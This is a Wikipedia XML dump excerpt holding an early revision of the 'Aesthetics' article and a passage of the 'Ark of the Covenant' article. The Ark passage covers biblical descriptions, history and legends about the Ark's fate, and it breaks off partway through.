      <comment>Reverted edits by [[Special:Contributions/209.241.118.76|209.241.118.76]] ([[User talk:209.241.118.76|talk]]) to last version by DryaUnda</comment>
      <text xml:space="preserve">'''Aesthetics''' is the study or philosophy of beauty. 

==Definition==
The noun ''aesthetic'' means &quot;that which appeals to the senses&quot;. Thus, the aesthetics of mathematics are the properties of mathematics that appeal to the senses, as opposed to the content, structures, and utility of the science itself.

Aesthetics is also the domain of philosophy that ponders beauty and art. An aesthetic (also ''esthetic'' or ''æsthetic'') is the concept of a particular school of philosophy that appraises beauty and art by certain standards, e.g. ''the aesthetic of minimalism''.

The adverb ''aesthetically'' signifies a sensory effect. Aesthetically pleasing sculptures, therefore, are scupltures that please the senses. 

''Aesthetics'' derives from the German ''Ästhetik'' or French ''esthétique'', both from the Greek ''αἰσθητική'', meaning a perceiver or a sensitive person. The word ''Aesthetics'' was not widely used in English until the beginning of the 19th Century, as referenced by J. H. Bernard's 1892 translation of Immanuel Kant's ''the Critique of the Power of Judgment''.

==Aesthetics in history and philosophy==
{{main|History of aesthetics (pre-20th-century)}}

Although thinkers and sages have pondered beauty and art for thousands of years, the subject of Aesthetics wasn’t set apart as an independent philosophical discipline until the 18th Century by German philosophers. Before this period authors viewed the study as inseparable from other main topics, such as ethics in the Western tradition and religion in the Eastern tradition.

===Ancient Greece===
Greek philosophers initially felt that aesthetically appealing objects were beautiful in and of themselves. [[Plato]] felt that beautiful objects incorporated proportion, harmony and unity among their parts.  Similarly in the &quot;Metaphysics&quot; [[Aristotle]] found that the universal elements of beauty were order, symmetry, and definiteness.

===18th and 19th Century Europe===
In 1750 the German philosopher [[Alexander Gottlieb Baumgarten]] published the book &quot;Aesthetica&quot; in which he took the term to mean &quot;criticism of taste&quot;. Baumgarten reduced taste to an intellectual act, ignoring the element of feeling. Baumgarten concluded that nature is the highest embodiment of beauty, and that art must seek its supreme function in the strictest possible imitation of nature.  Despite interpretations by later philosophers to approach sensuality and feeling, Baumgarten's definition has survived as an important part of [[critical theory]].[http://www.etymonline.com/index.php?term=aesthetic] 

In his 1790 book &quot;Critique of Judgment,&quot; [[Immanuel Kant]] called Aesthetics &quot;the science which treats of the conditions of sensuous perception&quot;.  Kant emphasized beauty, taste, transcendence, and the sublime. Beautiful art might fall into the category of what we think of today as pretty, pleasant, or pleasing to the eye. Sublime images on the other hand were awe-inspiring. Dramatic scenes from nature such as vast mountainscapes, the dazzling sea, or light shining through forested trees might produce an experience of the sublime. Kant insisted that aesthetic judgment is always singular, of the form &quot;This rose is beautiful.&quot; He denied that we can reach a valid universal aesthetic judgment of the form &quot;All objects possessing such and such qualities are beautiful.&quot; 

The German [[Georg Friedrich Wilhelm Hegel]] and later French philosophers J. Cousin and Jean Charles Leveque developed an elaborate system of aesthetics regarding it as spiritual in nature. The several beautiful characteristics of an organic body (the principal ones of magnitude, unity and variety of parts, intensity of color, grace or flexibility, and correspondence to the environment) may be brought under the ideal grandeur and order of the species. These are perceived by reason to be the manifestations of an invisible vital force. Similarly the beauties of inorganic nature were to be viewed as the grand and orderly displays of an immaterial physical force. Thus all beauty was in its objective essence either spirit or unconscious force acting with fullness and in order.

===Modern Philosophy===
The field of aesthetics has enjoyed a rebirth in recent years. Post-WWII Modern art -- particularly up through the 1980s -- strongly reacted against notions of beauty. Some theorists (Hal Foster) have described this as an &quot;anti-aesthetic.&quot; Since artistic media were deconstructed and explored to their very foundational or essential elements, creating an aesthetically beautiful work was no longer the key. Instead, artists focused on conceptual questions such as 'what is art?' or 'who defines art?' For instance, the artist Joseph Beuys used materials such as heavy dark felt, dirt, logs, bones and sticks, all of which might be considered to be quite &quot;ugly&quot; by traditional understandings of beauty and aesthetics.

Art today might be said to be more embracing, or at least better engaged with current notions of the beautiful or sublime. Theorists such as Jeremy Gilbert-Rolfe have discussed how the intensification of capitalism and new technologies might be developing a new notion of sublimity. Visual culture theorist Johanna Drucker proposed that contemporary artists recognize their complicity with the dominant ideologies of beauty and aesthetics, and may both critique and embrace these aesthetics simultaneously.

==Aesthetics in the arts==
===Visual arts===
Aesthetic considerations within the visual arts are usually associated with the sense of vision. A painting or sculpture however is also perceived spatially by recognized associations and context, and even to some extent by the senses of smell, hearing, and touch. The form of the work can be subject to an aesthetic as much as the content.

In painting, the aesthetic convention that we see a three-dimensional representation rather than a two-dimensional canvas is so well understood that most people do not realize that they are making an aesthetic interpretation. This notion is the basis of [[abstract impressionism]].

Some aesthetic effects available in visual arts include variation, juxtaposition, repetition, field effects, symmetry/asymmetry, perceived mass, subliminal structure, linear dynamics, tension and repose, pattern, contrast, perspective, 3 dimensionality, movement, rhythm, unity/Gestalt, matrixiality and proportion.

===Music===
{{main|Aesthetics of music}}

[[Music]] can affect our emotions, our intellect, our body and our psychology; lyrics can assuage our loneliness or incite our passions. As such, music is a powerful art form with an aesthetic appeal that is highly dependent upon the culture in which it is practiced.

Some of the aesthetic elements expressed in music include lyricism, harmony, hypnotism, emotiveness, temporal dynamics, volume dynamics, resonance, playfulness, color, subtlety, depth, and mood (see [[Musical development]]).  Aesthetics in music are highly sensitive to their context: what sounds good in modern American rock would sound terrible in the context of the early baroque age.

===Performing arts===
[[Theater|Performing arts]] appeal to our aesthetics of storytelling, grace, balance, class, timing, strength, shock, humor, costume, irony, beauty, drama, suspense, and sensuality. Whereas live stage performance is usually constrained by the physical reality at hand, film performance can further add the aesthetic elements of large-scale action, fantasy, and a complex interwoven musical [[Academy Award for Original Music Score|score]].

===Literature===
Encompassing [[poetry]], [[Short story|short stories]], [[novel]]s and [[non-fiction]], authors use a variety of techniques to appeal to our aesthetic values. Depending on the type of writing an author may employ rhythm, illustrations, structure, time shifting, juxtaposition, dualism, imagery, fantasy, suspense, analysis, humor/cynicism, and thinking aloud.

In literary aesthetics, the study of &quot;affect&quot; illuminates the deep structures of reading and receiving literary works. These affects may be broadly grouped by their mode of writing and the relationship that the reader assumes with time. Catharsis is the affect of dramatic completion of action in time. Kairosis is the affect of novels whose characters become integrated in time. Kenosis is the affect of lyric poetry which creates a sense of emptiness and timelessness.

===Gastronomy===
Although [[Culinary|food]] is a basic and frequently experienced commodity, careful attention to the aesthetic possibilities of foodstuffs can turn eating into gastronomy. Chefs inspire our aesthetic enjoyment through the visual sense using color and arrangement; they inspire our senses of taste and smell using [[spices]], diversity/contrast, anticipation, seduction, and decoration/garnishes.

==Aesthetics in the sciences==
===Information technology===
Aesthetics in information technology has focused upon the study of human-computer interaction and creating user-friendly devices and software applications; aesthetically pleasing &quot;graphical user interfaces&quot; have been shown to improve productivity. Software itself has aesthetic dimensions (&quot;software aesthetics&quot;), as do information-technology-mediated processes and experiences such as computer video games and virtual reality simulations. [[Digital culture]] is a distinct aesthetic to judge the appeal of digital environments such as browsers, websites, and icons, as well as visual and aural art produced exclusively with digital technologies.  

===Mathematics===
{{main|Mathematical beauty}}

The aesthetics of [[mathematics]] are often compared with music and poetry. Hungarian mathematician [[Paul Erdős]] expressed his views on the indescribable beauty of mathematics when he said &quot;Why are numbers beautiful? It's like asking why is Beethoven's Ninth Symphony beautiful.&quot; Math appeals to the &quot;senses&quot; of logic, order, novelty, elegance, and discovery.  Some concepts in math with specific aesthetic application include sacred ratios in Geometry, the intuitiveness of axioms, the complexity and intrigue of fractals, the solidness and regularity of polyhedra, and the serendipity of relating theorems across disciplines.

===Neuroesthetics===
[[Cognitive science]] has also considered aesthetics, with the advent of [[neuroesthetics]], pioneered by [[Semir Zeki]], which seeks to explain the prominence of great art as an embodiment of biological principles of the brain, namely that great works of art capture the essence of things just as vision and the brain capture the essentials of the world from the ever-changing stream of sensory input.

==Aesthetics in engineering==
===Industrial design===
Beyond providing functional characteristics, designers heed many aesthetic qualities to improve the marketability of manufactured products: smoothness, shininess/reflectivity, texture, pattern, curviness, color, simplicity (or usability), velocity, symmetry, naturalness, and modernism.

===Architecture and Interior Design===
Although structural integrity, cost, the nature of building materials, and the functional utility of the building contribute heavily to the design process, architects can still apply aesthetic considerations to buildings and related [[architecture|architectural]] structures.  Common aesthetic design principles include ornamentation, edge delineation, texture, flow, solemnity, symmetry, color, granularity, the interaction of sunlight and shadows, transcendence, and harmony.

Interior Designers, being less constrained by structural concerns, have a wider variety of applications to appeal to aesthetics.  They may employ color, color harmony, wallpaper, ornamentation, furnishings, fabrics, textures, lighting, various floor treatments, as well as adhere to aesthetic concepts such as feng-shui.

===Urban life===
Nearly half of mankind lives in cities; although it represents a lofty goal, [[Urban planning|planning]] and achieving urban aesthetics ([[beautification]]) involves a good deal of historical luck, happenstance, and indirect gestalt. Nevertheless aesthetically pleasing cities share certain traits: ethnic and cultural variety, numerous microclimates that promote a diversity of vegetation, sufficient public transportation, a range of build-out (or zoning) that creates both densely and sparsely populated areas, sanitation to foster clean streets and graffiti removal, scenic neighboring geography (oceans or mountains), public spaces and events such as parks and parades, musical variety through local radio or street musicians, and enforcement of laws that abate noise, crime, and pollution.

===Landscape design===
[[Landscape architecture|Landscape designers]] draw upon design elements such as axis, line, landform, horizontal and vertical planes, texture, and scale to create aesthetic variation within the landscape. They may additionally make use of aesthetic elements such as pools or fountains of water, plants, seasonal variance, stonework, fragrance, exterior lighting, statues, and lawns.

==Schools of aesthetics==
Different schools of philosophy have different aesthetics from each other.  Some of them are:
* [[Cool (African philosophy)]]
* Japanese [[Iki (aesthetic ideal)]]
*[[Humanistic Aestheticism]]

==References==
*[[Władysław Tatarkiewicz]], ''History of Aesthetics'', 3 vols. (1-2, 1970; 3, 1974), The Hague, Mouton.
:*''A History of Six Ideas:  an Essay in Aesthetics'', The Hague, Martinus Nijhoff, 1980. 

==See also==
* [[History of aesthetics (pre-20th-century)]]
* [[Neuroesthetics]]
* [[Taste (aesthetics)]]
* [[List of aestheticians]]
* [[List of topics in philosophical aesthetics]]
* [[Aesthetic relativism]]

==External links==
*Art education
**[http://daphne.palomar.edu/design/contents.html Saw: Design Notes]
**[http://www.madison.k12.wi.us/whitehorse/art.htm Krouth: Art Curriculum]
**[http://www.ericdigests.org/pre-9219/art.htm Hagaman: Aesthetics in Art Education: A Look Toward Implementation]
*Aesthetics in specific arts
**Music
***[http://www.wwnorton.com/enjoy/index/materials/materials.htm Norton: Musical Materials]
***[http://www.uwgb.edu/malloyk/music_outline.htm Malloy: Music Outline]
**Architecture
***[http://www.catholic.net/beauty_and_truth/template_article.phtml?article_id=400&amp;channel_id=4 Lee/Stroik: Christian Architecture]
***[http://www.math.utsa.edu/sphere/salingar/LifeandComp.html Salingaros: Life and Complexity in Architecture]
**Performing arts
***[http://www.artsalive.ca/en/eth/design/costume.html Poddubiuk: Costume Design]
***[http://www.costumepage.org/tcpinfo4.html#drama Sardo: Theatrical Costume]
***[http://www.nt-online.org/?lid=2393 Morden: Storytelling]
**Culinary aesthetics
***[http://www.foodproductdesign.com/archive/1998/0698CS.html Susheela Uhl: Ethnic Entrees]
***[http://www.chronogram.com/backIssues/1998/07july/articles/english.html Leslie English: To Eat is Human]
**Information technology
***[http://softwareaesthetics.com/ Software Aesthetics]
***[http://www.cise.ufl.edu/~fishwick/aescomputing/ Aesthetic Computing]
***[http://www.paulgraham.com/hp.html Hackers and Painters]
***[http://www.digra.org/dl/db/05164.55410  The Pleasure of the Playable Text: Towards an Aesthetic Theory of Computer Games] (pdf)
**Digital aesthetics
***[http://www.digitalthinktank.org/dictionary.php# DigitalThinkTank.Org]
**Mathematics
***[http://www.cut-the-knot.org/manifesto/beauty.shtml Is Mathematics Beautiful?]
***[http://www.madras.fife.sch.uk/maths/linksbeauty.html Links Concerning Beauty and Mathematics]
*History of aesthetics
**[http://www.kunstbewegung.info/kultur/de/Revised_interpretation_of_founding%27s_and_concepts_through_an_history_of_aesthetics Revised interpretation of founding's and concepts through an history of aesthetics]

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    <title>Ark of the Covenant</title>
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      <text xml:space="preserve">[[Image:Ark_of_the_Covenant.png|thumb|246px|right|A late 19th-century artist's conception of the Ark of the Covenant, employing a Renaissance [[cassone]] for the Ark and [[cherubim]] as latter-day Christian [[angel]]s]]

The '''Ark of the Covenant''' (ארון הברית in [[Hebrew language|Hebrew]]: ''aron habrit'') is described in the [[Hebrew Bible]] as a sacred container built at the command of [[Moses]], wherein rested the [[stone tablets]] containing the [[Ten Commandments]]. The Ark and its sanctuary were &quot;the beauty of Israel&quot; ([[Book of Lamentations|Lamentations]] 2:1). 

During the journeys of the Israelites, the Ark was carried by the priests in advance of the host ([[Book of Numbers|Numbers]] 4:5, 6; 10:33-36; [[Psalms]] 68:1; 132:8). The Ark was borne by priests into the bed of the [[Jordan River|Jordan]], which separated, opening a pathway for the whole of the host to pass over ([[Book of Joshua|Joshua]] 3:15, 16; 4:7, 10, 11, 17, 18). The Ark was moreover borne in the procession round [[Jericho]] (Josh. 6:4, 6, 8, 11, 12). When carried, the Ark was always wrapped in a veil, in badger skins, a blue cloth, and was carefully concealed, even from the eyes of the [[Levite]]s who carried it.

==Terminology==

The [[Hebrew language|Hebrew]] word ''aron'' is used in the Bible to designate any type of ark, chest or coffer, for any purpose ([[Genesis]] 50:26; [[Books of Kings|2 Kings]] 12:9, 10). The Ark of the Covenant is distinguished from all others by such titles as &quot;Ark of God&quot; ([[Books of Samuel|1 Samuel]] 3:3), &quot;Ark of the Covenant&quot; (Josh. 3:6; [[Epistle to the Hebrews|Hebrews]] 9:4), &quot;Ark of the Testimony&quot; (Ex. 25:22).

The Ark is referred to by several names in the Bible. The following is a list of common references to the Ark:
*The Ark 
*The Ark of the [[Testimony]]
*The Ark of the [[Covenant (Israel)|Covenant]]
*The Ark of the Covenant of the Lord
*The Ark wherein is the Covenant of the Lord, which he made with our fathers, when he brought them out of the [[Egypt|Land of Egypt]] 
*The Ark wherein is the Covenant of the Lord, that he made with the [[Children of Israel]]
*The Ark of the Covenant of the Lord of all the Earth
*The Ark of the Covenant of the Lord of Hosts, who dwelleth between the [[cherubim]]
*The Ark of the Covenant of the Lord your God
*The Ark of the Covenant of God
*The Ark of the Lord 
*The Ark of the Lord, the Lord of all the Earth
*The Ark of the Lord God 
*The Ark of the Lord God of Israel
*The Ark of the Lord your God
*The Ark of God
*The Ark of our God
*The Ark of the God of Israel
*The Ark of God which is called by the Name, the name of the Lord of hosts who dwelleth between the cherubim
*The Ark of God, the Lord, who dwelleth between the cherubim, which is called the Name
*The Holy Ark 
*The Ark of thy God's strength

==Description==
[[Image:arkofthecovenantatkingtutstomb.jpg|thumb|191px|The ''Ark of the Covenant'' may have looked similar to this chest (found in the [[Tutankhamun|Tomb of Tutankhamun]]).]] 

The Bible describes the Ark as made of [[acacia]] or [[shittah-tree]] wood. It was a [[cubit]] and a half broad and high and two cubits long (about 130 × 80 × 80 cm). The Ark was covered all over with the purest [[gold]]. Its upper surface or lid, the [[mercy seat]], was surrounded with a rim of gold. 

On each of the two sides were two gold rings, wherein were placed [[Staff (stick)|two wooden poles]] (with a decorative sheathing of gold), with which the ark could be carried (Num. 7:9; 10:21; 4:5,19, 20; 1 Kings 8:3, 6). Over the Ark, at the two extremities, were two [[cherubim]], with their faces turned toward one another ([[Leviticus]] 16:2; Num. 7:89). Their outspread wings over the top of the ark formed the throne of God, while the ark itself was his footstool (Ex. 25:10-22; 37:1-9). The Ark was deposited in the &quot;[[Most Holy Place|Holy of Holies]],&quot; and was placed so that one end of the carrying poles  touched the veil separating the two compartments of the tabernacle (1 Kings 8:8). 

===Contents===

According to the Bible, the two tablets of stone constituting the &quot;testimony&quot; or evidence of God's [[covenant]] with the people ([[Deuteronomy]] 31:26) were kept within the Ark itself. The [[Tanakh]] states in I Kings 8:9 that there &quot;was nothing in the ark save the two tables of stone&quot;. Some see this as contradictory with other verses, claiming the presence of the &quot;pot of manna&quot; (Ex. 16:34), and &quot;[[Aaron]]'s rod that budded&quot; before the Ark (Heb. 9:4 - in the Ark). The items were placed &quot;before the Ark with the testimony&quot;; the correct meaning of that phrase is open to interpretation.

===Sanctity and consecration===

Even Aaron, brother of Moses and the [[High Priest]], was forbidden to enter the place of the Ark too often. He was enjoined to enter the [[Holy of Holies]] only once per year on a designated day, and to perform certain ceremonies there (Lev. 16). Moses was directed to consecrate the Ark, when completed, with the oil of holy ointment (Ex. 30:23-26); and he was also directed to have the Ark made by [[Bezaleel]], son of [[Uri_%28Bible%29|Uri]] of the [[tribe of Judah]], and by [[Aholiab]], the son of [[Ahisamach]] of the [[tribe of Dan]] (Ex. 31:2-7). These instructions Moses carried out, calling upon &quot;every wisehearted&quot; one among the people to assist in the work (Ex. 35:10-12). Bezaleel the artist made the Ark (Ex. 37:1); and Moses approved the work, put the testimony in the Ark, and installed it.

In Deut. 10:1-5 a different account of the making of the Ark is given. Moses is made to say that he constructed the Ark before going upon [[Mount Sinai]] to receive the second set of tablets. The charge of carrying the Ark and the rest of the holy implements was given to the family of [[Kohath]] (of the [[tribe of Levi]]). They, though, were not to touch any of the holy things that were still uncovered by Aaron (Num. 4:2-15).

==Prophets' mentions==

The Ark of the Covenant is mentioned by [[prophet]]s in both the Bible and the [[Qur'an]].

===In the Bible===
[[Image:Folio_29r_-_The_Ark_of_God_Carried_into_the_Temple.jpg|180px|thumb|The Ark carried into the Temple]]
The only mention of the Ark in the books of the prophets is the reference to it by [[Jeremiah (prophet)|Jeremiah]], who, speaking in the days of [[Josiah]] (Jer. 3:16), prophesies a time when the Ark will no longer be needed because of the righteousness of the people. In the [[Psalms]], the Ark is twice referred to. In Ps. 78:61 its capture by the Philistines is spoken of, and the Ark is called &quot;the strength and glory of God&quot;; and in Ps. 132:8, it is spoken of as &quot;the ark of the strength of the Lord.&quot; 

The Ark is mentioned in one passage in the [[deuterocanonical books|deuterocanonical]] 2 Maccabees 2:4-10, which contains a reference to a document saying that the prophet Jeremiah, &quot;being warned of God,&quot; took the Ark, and the tabernacle, and the altar of incense, and buried them in a cave on Mount Nebo (Deut 34:1), informing those of his followers who wished to find the place that it should remain unknown &quot;until the time that God should gather His people again together, and receive them unto mercy.&quot; Hebrews 9:4 states that the Ark contained &quot;the golden pot that had ''[[manna]]'', and [[Aaron's rod]] that budded, and the tables of the covenant.&quot; Finally, in Revelation 11:19, the Ark is described as being in heaven, just before the woman clothed with the sun appears ([[Book of Revelation]] 12).

===In the Qur'an===

There is only a brief mention of the Ark of the Covenant in the [[Qur'an]]:
: ''Their prophet said to them, &quot;The sign of his kingship is that the Ark of the Covenant will be restored to you, bringing assurances from your Lord, and relics left by the people of Moses and the people of Aaron. It will be carried by the angels. This should be a convincing sign for you, if you are really believers.&quot;''&lt;br /&gt;''[[wikisource:The_Holy_Qur%27an/Al-Baqara|002:248]]''
According to some Muslim scholars, the Ark of the Covenant does not have a religious basis in [[Islam]] and Islam does not give it any special significance while others believe that it will be found by [[Mahdi]] near the [[Qiyamah|end of times]]. These Islamic scholars believe inside there will be relics left by the people of [[Moses]] and the people of [[Aaron]]. There might be the [[sceptre]]s of Moses (eg., [[Nehushtan]]), Aaron's rod, Plates of the [[Torah]], and Aaron's turban.

==History==

===Mobile vanguard===
In the march from Sinai, and at the crossing of the [[Jordan river|Jordan]], the Ark preceded the people, and was the signal for their advance (Num. 10:33; Josh. 3:3, 6). The Ark of the Covenant burned the thorns and other obstructions in the wilderness roads. According to tradition, [[spark]]s from between the two cherubim killed [[snake|serpent]]s and [[scorpion]]s. (Canticles iii) {{ref|JewishEncyclopedia}} During the crossing of the Jordan, the river grew dry as soon as the feet of the priests carrying the Ark touched its waters; and remained so until the priests -- with the Ark -- left the river, after the people had passed over (Josh. 3:15-17; 4:10, 11, 18). As memorials, [[twelve stones]] were taken from the Jordan at the place where the priests had stood (Josh. 4:1-9).

The Ark was carried into battle, such as in the [[Midian war]] (Num. 31). During the ceremonies preceding the capture of [[Jericho]], the Ark was carried round the city in the daily procession, preceded by the armed men and by seven priests bearing seven trumpets of rams' horns (Josh. 6:6-15). After the defeat at [[Ai (Bible)|Ai]], [[Joshua]] lamented before the Ark (Josh. 7:6-9). When Joshua read the Law to the people between [[Mount Gerizim]] and [[Mount Ebal]], they stood on each side of the Ark. The Ark was again set up by Joshua at [[Shiloh (Biblical)|Shiloh]]; but when the Israelites fought against Benjamin at [[Gibeah]], they had the Ark with them, and consulted it after their defeat.

===Captured by the Philistines===

The Ark is next spoken of as being in the [[tabernacle]] at [[Shiloh (Biblical)|Shiloh]] during Samuel's apprenticeship (1 Sam. 3:3). After the settlement of the [[Israelites]] in [[Canaan]], the ark remained in the tabernacle at [[Gilgal]] for a season, then was removed to Shiloh until the time of [[Eli (Judges)|Eli]], between 300 and 400 years ([[Book of Jeremiah|Jeremiah]] 7:12), when it was carried into the field of battle, so as to secure, as they supposed, victory to the Hebrews; and it was taken by the [[Philistines]] (1 Sam. 4:3-11), who sent it back after retaining it seven months (1 Sam. 5:7, 8) because of the events said to have transpired.  After their first defeat at [[Eben-ezer]], the Israelites had the Ark brought from Shiloh, and welcomed its coming with great rejoicing. 

In the second battle, the Israelites were again defeated, and the Philistines captured the Ark (1 Sam. 4:3-5, 10, 11). The news of its capture was at once taken to Shiloh by a messenger &quot;with his clothes rent, and with earth upon his head.&quot; The old priest, Eli, fell dead when he heard it; and his daughter-in-law, bearing a son at the time the news of the capture of the Ark was received, named him [[Ichabod]]&amp;#8212;explained as &quot;Where is glory?&quot; in reference to the loss of the Ark (1 Sam. 4:12-22).

The Philistines took the Ark to several places in their country, and at each place misfortune resulted to them (1 Sam. 5:1-6). At [[Ashdod]] it was placed in the temple of [[Dagon]]. The next morning Dagon was found prostrate, bowed down, before it; and on being restored to his place, he was on the following morning again found prostrate and broken. The people of Ashdod were smitten with boils; a plague of mice was sent over the land (1 Sam. 6:5). The affliction of boils was also visited upon the people of [[Gath]] and of [[Ekron]], whither the Ark was successively removed (1 Sam. 5:8-12).

After the Ark had been among them seven months, the Philistines, on the advice of their diviners, returned it to the Israelites, accompanying its return with an offering consisting of golden images of the boils and mice wherewith they had been afflicted. The Ark was set in the field of Joshua the [[Beth-shemite]], and the Beth-shemites offered sacrifices and burnt offerings (1 Sam. 6:1-15). Out of curiosity the men of [[Beth-shemesh]] gazed at the Ark; and as a punishment over fifty thousand of them were smitten by the Lord (1 Sam. 6:19). The Bethshemites sent to [[Kirjath-jearim]], or Baal-Judah, to have the Ark removed (1 Sam. 6:21); and it was taken to the house of [[Abinadab]], whose son [[Eleazar]] was sanctified to keep it. Kirjath-jearim was the abode of the Ark for twenty years. Under Saul, the Ark was with the army before he first met the Philistines, but the king was too impatient to consult it before engaging in battle. In [[Books of Chronicles|1 Chronicles]] 13:3 it is stated that the people were not accustomed to consult the Ark in the days of [[Saul]].

===In the days of King David===

At the very beginning of his reign, [[David]] removed the Ark from Kirjath-jearim amid great rejoicing. On the way to [[Zion]], [[Uzzah]], one of the drivers of the cart whereon the Ark was carried, put out his hand to steady the Ark, and was smitten by the Lord for touching it. David, in fear, carried the Ark aside into the house of [[Obed-edom]] the [[Gittite]], instead of carrying it on to Zion, and here it stayed three months (2 Sam. 6:1-11; 1 Chron. 13:1-13).

On hearing that the Lord had blessed Obed-edom because of the presence of the Ark in his house, David had the Ark brought to Zion by the Levites, while he himself, &quot;girded with a linen [[ephod]],&quot; &quot;danced before the Lord with all his might&quot;&amp;#8212;a performance for which he was despised and scornfully rebuked by Saul's daughter [[Michal]] (2 Sam. 6:12-16, 20-22; 1 Chron. 15). This unjustified derision on her part resulted in the permanent loss of her fertility.  In Zion, David put the Ark in the tabernacle he had prepared for it, offered sacrifices, distributed food, and blessed the people and his own household (2 Sam. 6:17-20; 1 Chron. 16:1-3; 2 Chron. 1:4).

Levites were appointed to minister before the Ark (1 Chron. 16:4). David's plan of building a temple for the Ark was stopped at the advice of God (2 Sam. 7:1-17; 1 Chron. 17:1-15; 28:2, 3). The Ark was with the army during the siege of [[Rabbah]] (2 Sam. 11:11); and when David fled from Jerusalem at the time of [[Absalom]]'s conspiracy, the Ark was carried along with him until he ordered [[Zadok]] the priest to return it to Jerusalem (2 Sam. 15:24-29).

===In Solomon's Temple===

When [[Abiathar]] was dismissed from the priesthood by Solomon for having taken part in [[Adonijah]]'s [[conspiracy]] against David, his life was spared because he had formerly borne the Ark (1 Kings 2:26). It was afterwards placed by [[Solomon]] in the [[Temple in Jerusalem|temple]] (1 Kings 8:6-9). Solomon worshiped before the Ark after his dream in which the Lord promised him wisdom (1 Kings 3:15). In [[Solomon's Temple]], a Holy of Holies was prepared to receive the Ark (1 Kings 6:19); and when the Temple was dedicated, the Ark -- containing nothing but the two Mosaic tables of stone -- was placed therein. When the priests emerged from the holy place after placing the Ark there, the Temple was filled with a cloud, &quot;for the glory of the Lord had filled the house of the Lord&quot; (1 Kings 8:10-11; 2 Chron. 5:13, 14). 

When Solomon married Pharaoh's daughter, he caused her to dwell in a house outside Zion, as Zion was consecrated because of its containing the Ark (2 Chron. 8:11). King Josiah had the Ark put into the Temple (2 Chron. 35:3), whence it appears to have again been removed by one of his successors.

===The Babylonians and afterwards===

When the [[Babylonia]]ns destroyed Jerusalem and plundered the temple, the Ark entered the domain of legend. Many historians suppose that the ark was probably taken away by [[Nebuchadnezzar II of Babylon|Nebuchadnezzar]] and destroyed.  The absence of the ark from the [[Second Temple]] was acknowledged.

==Fate of the Ark==

In contrast to the general consensus of historians (that supposes that the ark was taken away and destroyed), variant traditions about the ultimate fate of the Ark include the intentional concealing of the Ark under the [[Temple Mount]], the removal of the Ark from Jerusalem in advance of the Babylonians (this variant usually ends up with the Ark in [[Ethiopia]]), the removal of the Ark by the Ethiopian prince [[Menelik I]] (purported son of [[King Solomon]] and the [[Queen of Sheba]]), removal by Jewish priests during the reign of [[Manasseh of Judah|Manasseh of Judah]], possibly taken to a Jewish temple on Elephantine in Egypt, and the miraculous removal of the Ark by divine intervention (C.f. 2 Chronicles).

===Concealment===

Some believe that the Ark of the Covenant and the Tabernacle of the Lord was hidden. This is referenced by four separate sources:
# the Mishnayot of Rabbi Hertz
# the Marble Tablets of Beirut
# the Copper Scroll
# the ancient Ben Ezra Synagogue sacred texts.

====Mishnayot====
The Mishnayot introduction included ancient records that Rabbi Hertz called the &quot;''[[Mishnayot]]''&quot;. Hertz used the term &quot;Mishnayot&quot;, since the text of the ''Mishnayot'' is missing from the [[Mishnah]] (''Mishna''), which is the first section of the [[Talmud]], a collection of ancient [[Rabbinic]] writings including also the [[Gemara]], &quot;the summary&quot;, and containing the [[Jewish]] [[religious law]].  {{ref|Mock}}

The &quot;missing&quot; [[Mishnaic]] text in the Mishnayot is called the ''[[Massakhet Keilim]]'', written in twelve chapters. Each chapter of the Mishnayot describes vessels which were hidden under the direction of [[Jeremiah]] the Prophet by five holy men ([[Shimor HaLevi]], [[Chizkiah]], [[Tzidkiyahu]], [[Haggai]] the Prophet and [[Zechariah]] the Prophet), seven years prior to the destruction of Solomon's First Temple, because the dangers of Babylonian conquest were imminent. The Mishnayot describing this hiding was then written in Babylon during the Babylonian Captivity.

The first chapter of the Mishnayot describes the vessels that were hidden - including the ''Ark of the Covenant'' and the Tabernacle of the Lord, i.e. the Mishkan, the Tablets of [[Moses]], the altar (with cherubim) for the daily and seasonal sacrifices (the ushebtis), the [[Menorah]] (candelabra), the [[Qalal]] (copper urn) containing the Ashes of the [[Red Heifer]] (ashes from a red cow sacrificed under Moses, necessary for ritual purification of the priests), and numerous vessels of the [[Kohanim]] (priests).

The second chapter of the Mishnayot states that a list of these treasures was inscribed upon a copper tablet. This is the Copper Scroll found at Qumran.

====Marble Tablets of Beirut====

In 1952 two large marble tablets were found in the basement of a museum in [[Beirut]], stating they were the words of Shimor HaLevi, the servant of HaShem, and the writing on the tablets is the entire missing text of &quot;Massakhet Keilim&quot; (''Mishnayot'') including reference to the Copper Scroll. 

====Copper Scroll====

The first of the [[Dead Sea Scrolls]] was discovered in 1947, and the famed [[Copper Scroll]] - made of pure copper - was found at [[Qumran]] in 1952. The Copper Scroll is an inventory - written in [[Hebrew language|Hebrew]] - of treasures, thought by some to be from [[Solomon]]'s First Temple, hidden before the destruction of that temple by the [[Babylonians]] and treasures which have not been seen since. 

The Copper Scroll states that a silver [or alabaster?] chest, the vestments of the [[Cohen Gadol]] ([[Hebrews|Hebrew]] [[High Priest]]), gold and silver in great quantities, the [[Tabernacle|Tabernacle of the Lord]] (perhaps the [[Mishkan]]) and many treasures were hidden in a desolate valley - under a hill - on its east side, forty stones deep. The Mishkan was a &quot;portable&quot; Temple for the ''Ark of the Covenant''. The writings in the Copper Scroll were confirmed 40 years later in the 1990s through an ancient text found in the introduction to ''Emeq HaMelekh'' (&quot;Valley of the King(s)&quot;) -- a book published in 1648 in Amsterdam, Holland, by [[Rabbi Naftali Hertz Ben Ya’acov Elchanon]] (Rabbi Hertz).

====Ben Ezra synagogue texts====

Work in the 1990s showed that in 1896, almost one hundred years previous, [[Solomon Schechter]] at [[University of Cambridge|Cambridge University]] in [[England]] had acquired 100,000 pages of ancient Hebrew texts from the [[Genizah]] (repository for aged sacred Jewish texts) of the Ben [[Ezra]] [[Synagogue]] in [[Cairo]], [[Egypt]]. A copy of the &quot;[[Tosefta]]&quot; (supplement to the Mishnah) was found in these texts, included among the text on [[Keilim]] (vessels). This &quot;Tosefta&quot; is the same text as cited by Rabbi Hertz as his source for the Mishnayot.

== Where is it now? ==
Some have claimed to have possession or discovered the Ark.
===Middle East===
In 1989, the late [[Ron Wyatt]] claimed to have broken into a chamber while digging underground beneath Mount Moriah, also known as The Temple Mount. He claimed to have seen the ark and taken photographs. All photos came out blurry (leading to skepticism of the claim). According to Wyatt the excavations were closed off (because of private property concerns) and, to the extent of knowledge, no one has seen the ark since. Ron Wyatt was widely seen in the Biblical archeology community as an attention seeker, often announcing he had found Biblically important objects with little or no hard evidence to back up his claims.

